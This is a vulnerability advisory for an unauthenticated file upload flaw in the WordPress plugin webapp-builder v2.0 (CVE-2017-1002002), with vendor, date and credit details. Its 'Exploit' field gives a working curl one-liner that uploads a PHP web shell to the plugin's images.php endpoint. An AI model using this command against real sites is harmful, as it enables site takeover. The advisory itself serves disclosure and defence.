VDB-ID: 181
Title: Remote file upload vulnerability in Wordpress Plugin webapp-builder v2.0
Vulnerability Date: 2017-03-01
Download:  https://wordpress.org/plugins-wp/webapp-builder/
Vendor: https://profiles.wordpress.org/2leonkaden
Notified: 2017-03-01
Vendor Contact: plugins@wordpress.org
Description: "Make your WordPress website mobile-friendly app (Ready for Google Play & Appstore) with just a few clicks."
Vulnerability: The plugin includes unlicensed vulnerable CMS software from http://www.invedion.com/

The code in file ./webapp-builder/server/images.php doesn't require authentication or check that the user is allowed to upload content.
It also doesn't sanitize the file upload against executable code.

See:

https://plugins.svn.wordpress.org/webapp-builder/trunk/server/images.php
CVEIDs: CVE-2017-1002002
Exploit: $ curl   -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/webapp-builder/server/images.php"
URL: http://www.vapidlabs.com/advisory.php?v=181
Credit: Larry W. Cashdollar, @_larry0